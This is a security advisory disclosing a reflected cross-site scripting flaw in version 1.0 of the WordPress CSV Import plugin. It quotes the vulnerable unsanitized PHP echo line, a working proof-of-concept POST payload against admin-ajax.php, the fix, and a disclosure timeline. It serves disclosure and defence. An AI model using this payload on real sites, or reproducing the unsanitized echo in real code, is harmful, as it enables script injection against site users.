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WordPress CSV Import 1.0 Cross Site Scripting

WordPress CSV Import 1.0 Cross Site Scripting
Posted Feb 24, 2016
Authored by Rahul Pratap Singh

WordPress CSV Import plugin version 1.0 suffers from a cross site scripting vulnerability.

tags | exploit, xss
SHA-256 | 863e1032d1640aebfa24c19da831a78051d93f4903b0e68a3c869f3afc793193

WordPress CSV Import 1.0 Cross Site Scripting

Change Mirror Download
## FULL DISCLOSURE

#Product : CSV Import
#Exploit Author : Rahul Pratap Singh
#Version : 1.0
#Home page Link : https://wordpress.org/plugins/csv-import/
#Website : 0x62626262.wordpress.com <http://0x62626262.wordpress.com/>
#Linkedin : https://in.linkedin.com/in/rahulpratapsingh94
#Date : 23/Feb/2016

XSS Vulnerability:
----------------------------------------
Description:
----------------------------------------
"alertmsg" parameter is not sanitized that leads to Reflected XSS.

----------------------------------------
Vulnerable Code:
----------------------------------------
File Name: csv-import/index.php

Found at line:238

echo __($_POST['alertmsg'], 'csv-import');

----------------------------------------
Exploit:
----------------------------------------
POST /wp-admin/admin-ajax.php

action=trans_csvimp_alertstr&alertmsg="><img src=x onerror=alert(1)>

----------------------------------------
POC:
----------------------------------------
https://0x62626262.files.wordpress.com/2016/02/csv-importxsspoc.png?w=1700

Fix:
Update to 1.1

Vulnerability Disclosure Timeline:
→ January 30, 2016 – Bug discovered, initial report to WordPress
→ February 1, 2016 – WordPress response, plugin taken down
→ February 23, 2016 – Vendor Deployed a Patch

#######################################
# CTG SECURITY SOLUTIONS #
# www.ctgsecuritysolutions.com<http://www.ctgsecuritysolutions.com/> #
#######################################

Pub Ref:
https://wordpress.org/plugins/csv-import/changelog/

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere.
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